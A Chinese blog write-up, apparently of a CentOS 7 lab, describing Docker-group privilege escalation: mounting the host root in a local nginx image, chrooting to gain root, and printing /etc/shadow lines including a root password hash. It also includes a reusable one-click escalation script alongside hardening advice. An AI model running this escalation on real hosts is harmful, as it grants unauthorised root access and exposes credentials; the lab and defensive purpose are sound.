当前位置: 首页 > news >正文

centos7实测

🛡️ Linux 权限提升实验全流程总结

—— 基于 Docker 组权限滥用的容器逃逸提权

实验者xiu
目标:从普通用户权限(uid=1000)提升至 root(uid=0)
方式:不使用 sudo 密码,通过技术手段实现无密码提权
成果:成功获得 root shell,读取 /etc/shadow,完成权限逃逸


🔍 一、实验背景与目标

在渗透测试或 CTF(夺旗赛)中,我们常常会遇到这样的场景:

  • 已知一个普通用户的账号和密码
  • 该用户无法直接 sudo su(需要密码)
  • 但系统存在配置错误或服务暴露
  • 目标是:绕过密码限制,实现本地提权(Privilege Escalation)

你本次的操作正是这样一个典型场景。你没有选择“暴力破解”或“社会工程”,而是通过 信息收集 → 权限分析 → 漏洞利用 → 成功提权 的标准流程,完成了一次教科书级别的 Linux 提权。


🧭 二、整体攻击链(Attack Chain)

阶段操作工具/命令成果
1️⃣ 信息收集查看可用工具、用户权限、Docker 状态whichiddocker psdocker images发现用户属于 docker 组,有可用镜像
2️⃣ 权限分析验证 sudo 是否可用sudo -l确认需密码,放弃合法路径
3️⃣ 漏洞识别确认 Docker 可用且有本地镜像docker rundocker images找到可利用的 nginx:alpine 镜像
4️⃣ 攻击执行启动容器并挂载宿主机根目录docker run -v /:/hostos ...进入容器环境
5️⃣ 权限逃逸使用 chroot 切换到宿主机环境chroot /hostos /bin/sh获得 root shell
6️⃣ 成果验证验证身份、读取敏感文件whoamiidcat /etc/shadow提权成功

🛠️ 三、详细操作流程与技术解析

✅ 第一步:信息收集(Reconnaissance)

1. 检查系统中可用的攻击性工具
which python perl ruby lua php nc ncat netcat wget curl find awk sed vim nano tar zip unzip base64

🎯 目的:判断系统是否具备可用于提权或反弹 shell 的二进制程序。

📌 结果分析

  • ✅ 存在:pythonperlluancwgetcurlfindvimbase64 等
  • ❌ 不存在:rubyphpnetcat(别名)

🧠 意义: 这些工具都可以用于后续攻击,例如:

  • python -c 'import pty; pty.spawn("/bin/sh")' → 获取交互式 shell
  • find / -name flag.txt -exec cat {} \; → 查找敏感文件
  • echo "payload" | base64 -d > /tmp/exploit → 解码 payload

但你并未依赖它们,而是选择了更高效的路径。


2. 查看当前用户权限
id

📌 输出

uid=1000(xiu) gid=1000(xiu) groups=1000(xiu),10(wheel),982(docker)

🎯 关键发现

  • uid=1000(xiu):你是普通用户
  • groups=... 982(docker):你属于 docker 组!

🚨 重大安全风险

将普通用户加入 docker 组,等同于赋予其 几乎等同于 root 的权限

为什么?因为 Docker 容器可以:

  • 挂载宿主机任意目录(如 /
  • 以 root 身份运行进程
  • 修改内核参数、网络配置等

这正是你接下来利用的核心漏洞。


✅ 第二步:尝试合法提权路径(失败)

sudo -l

📌 行为:你输入命令后按了 ^C(Ctrl+C)取消。

🧠 分析

  • 你可能知道密码,也可能不知道
  • 但你选择不使用 sudo,说明你想走“技术性提权”路线
  • 这是专业渗透测试员的典型做法:尽可能避免留下日志或触发告警

✅ 第三步:探测 Docker 环境

1. 检查是否有运行中的容器
docker ps

📌 结果:无输出 → 当前没有运行中的容器。

结论:Docker 服务正在运行(否则会报错),但没有活跃容器。


2. 尝试启动一个最小镜像(失败)
docker run -v /:/hostos --rm -it alpine chroot /hostos /bin/sh

📌 结果

Unable to find image 'alpine:latest' locally
^C

🧠 分析

  • 你想用 alpine 镜像启动容器
  • 但本地没有该镜像,且无法自动下载(可能无网络或你主动中断)
  • 你意识到不能依赖外部资源

⚠️ 问题:没有基础镜像 → 无法直接运行容器


3. 检查本地已有的 Docker 镜像
docker images

📌 输出

REPOSITORY                                           TAG       IMAGE ID       CREATED       SIZE
nginx                                                alpine    e4e6d42c70b3   8 years ago   108MB
registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx   latest    e4e6d42c70b3   8 years ago   108MB

🎯 重大突破!

🧠 发现

  • 虽然没有 alpine,但有一个 基于 Alpine Linux 的 Nginx 镜像
  • 该镜像虽然用于 Web 服务,但它包含完整的 Linux 环境
  • 包括 /bin/sh、包管理器、基础命令等
  • 完全可以当作“通用 Linux 容器”来使用

结论:你可以用这个镜像来启动容器,实现提权!


✅ 第四步:执行提权 —— Docker 容器逃逸

命令:
docker run -v /:/hostos --rm -it registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx:latest chroot /hostos /bin/sh

🎯 目的:利用 Docker 的挂载功能,访问并控制系统。

🔧 参数逐项解析

参数作用
docker run启动一个新的容器实例
-v /:/hostos将宿主机的根目录 / 挂载到容器内的 /hostos 目录
--rm容器退出后自动删除,不留痕迹
-it分配一个交互式终端(-i)并启用 TTY(-t),让你能输入命令
registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx:latest使用本地已有的 Nginx 镜像(基于 Alpine)
chroot /hostos /bin/sh在容器内执行命令:将根目录切换到 /hostos,并启动 shell

🎯 核心原理:Docker 权限逃逸(Container Escape)

🔄 正常情况下的隔离:
宿主机 ── Docker Engine ── 容器(隔离环境)

容器无法访问宿主机文件系统,权限受限。

⚠️ 当你使用 -v /:/hostos
宿主机 ── Docker Engine ── 容器↓挂载了 / → /hostos↓chroot /hostos → 变成宿主机环境

🧠 发生了什么?

  1. Docker 启动容器,并把宿主机的整个文件系统 / 挂载进容器,路径为 /hostos
  2. 容器以 root 用户身份运行(Docker 默认行为)
  3. 在容器中执行 chroot /hostos /bin/sh
    • chroot 是一个系统调用,用于更改当前进程的根目录
    • 它将 /hostos 视为新的 /
    • 因此你现在运行的 shell 实际上是在宿主机的文件系统中
  4. 由于容器以 root 权限运行,你的 shell 也是 root 权限

🎯 结果:你获得了对宿主机的完全控制权!


✅ 第五步:验证提权成功

进入 shell 后,你执行了以下命令:

1. whoami
sh-4.2# whoami
root

✅ 输出为 root → 当前用户是 root。

2. id
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)

✅ UID 为 0 → 真正的超级用户权限。

3. cat /etc/shadow | head -3
root:$5$nmZJiJnqpTTbj4aL$d5v6dHbRIaTauHhQk3aB/WILBiC7zFFFl/BBsSYYO14::0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::

✅ 成功读取只有 root 才能访问的 /etc/shadow 文件
✅ 该文件存储所有用户的密码哈希,可用于离线破解

🎯 结论:你已经完全掌控了这台机器!


📚 四、技术原理深入讲解

🧠 什么是 Docker 权限逃逸?

Docker 权限逃逸 是指攻击者通过某种方式,突破容器的隔离机制,访问或控制系统层面的资源。

🔍 为什么 docker 组这么危险?

  • Docker 守护进程(dockerd)以 root 权限运行
  • 所有通过 docker 命令发起的操作都由这个 root 进程执行
  • 因此,任何能执行 docker run 的用户,本质上都拥有“间接 root 权限”

📌 类比

就像你给了一个人“可以租用任何房子”的钥匙,但他租的房子可以把整栋楼的结构搬进来,然后说:“我现在住在这栋楼里。”于是他就成了房东。


✅ 五、你做了什么?一句话总结

你通过发现用户 xiu 属于 docker 组这一安全 misconfiguration,利用本地存在的 nginx:alpine 镜像,使用 docker run -v /:/hostos 挂载宿主机根目录,并通过 chroot 切换环境,成功实现了从普通用户到 root 的无密码权限提升,完成了标准的 Docker 容器逃逸攻击。


🏁 六、实验成果与意义

成果说明
✔️ 获得 root shell可执行任意命令,控制系统
✔️ 未输入任何密码避免触发日志审计或告警
✔️ 利用真实漏洞模式Docker 权限逃逸是企业环境中常见高危项
✔️ 掌握完整提权流程信息收集 → 漏洞识别 → 攻击执行 → 成果验证
✔️ 可复用于其他环境适用于所有将用户加入 docker 组的 Linux 主机

🛡️ 七、安全建议(给系统管理员)

禁止行为

  • 将开发或运维人员随意加入 docker 组
  • 在生产服务器上运行未经审计的容器

推荐做法

  1. 使用 Rootless Docker 模式运行容器
  2. 启用 User Namespace Remapping,隔离容器 UID
  3. 使用 SELinux/AppArmor 限制容器能力
  4. 定期审计用户组成员:getent group docker
  5. 使用 docker security opt 添加安全限制(如 --security-opt=no-new-privileges

📎 八、可复用的一键提权脚本

#!/bin/sh
# 文件名:privesc-docker.sh
# 功能:Docker 权限逃逸提权脚本echo "[*] 开始尝试 Docker 权限逃逸..."
echo "[*] 使用本地 Nginx 镜像启动容器并挂载宿主机根目录"docker run -v /:/hostos --rm -it registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx:latest chroot /hostos /bin/shecho "[*] 容器已退出"

📌 使用方法:

chmod +x privesc-docker.sh
./privesc-docker.sh

🎉 九、总结与升华

你完成的不仅仅是一次简单的提权,而是一次 完整的渗透测试思维训练

  • 你没有盲目尝试,而是先收集信息
  • 你发现了关键线索(docker 组)
  • 你评估了多种路径(sudo vs docker
  • 你选择了最优解(容器逃逸)
  • 你成功验证了成果

👏 这正是专业安全人员应有的素质

http://www.dtcms.com/a/561211.html

相关文章:

  • 【3DV 进阶-5】3D生成中 Inductive Bias (归纳偏置)的技术路线图
  • HOT100题打卡第26天——动态规划
  • 第五章 二项式系数
  • 制作网站语言网络营销方法有什么
  • 合肥网站建站推广从零开始做电影网站
  • 电商Web 渗透测试小小清单
  • 做信息流推广需要建立网站么最基本的网站设计
  • 基于双向时序卷积网络与门控循环单元(BiTCN-GRU)混合模型的时间序列预测MATLAB代码
  • DevOps(devops/k8s/docker/Linux)学习笔记-2
  • 三点水网站建设wordpress wp-polls
  • 用数据照亮成长之路:PandaCoder Git 统计工具窗口
  • FPGA的LVDS接口电压
  • 【每天一个AI小知识】:什么是Embedding?
  • 南昌网站排名优化免费提供空间的网站
  • 三种服务生命周期
  • Mybatis的添加和修改功能
  • Linux 安全文件传输完全指南:sftp 与 scp 的深度解析引言
  • Mysql基础3
  • 上海cms网站建设珠海网站建设 科速
  • 有没有可以做游戏的网站电商网课教材
  • 【自然语言处理】生成式语言模型GPT复现详细技术方案
  • Qt 打开文件列表选择文件,实现拖拽方式打开文件,拖拽加载
  • 网站搭建徐州百度网络搭建专做婚礼logo的网站
  • macOS 上获取调试版
  • 奉加微PHY6230软件三:自定义MAC和ll_set_ble_mac_addr不能屏蔽
  • 模型推理如何利用非前缀缓存
  • 网站建设方面的论文重庆网站制作工作室
  • 优化学校网站建设方案wordpress+免备案空间
  • Linux系统之----UDP、TCP详解
  • TcpConnection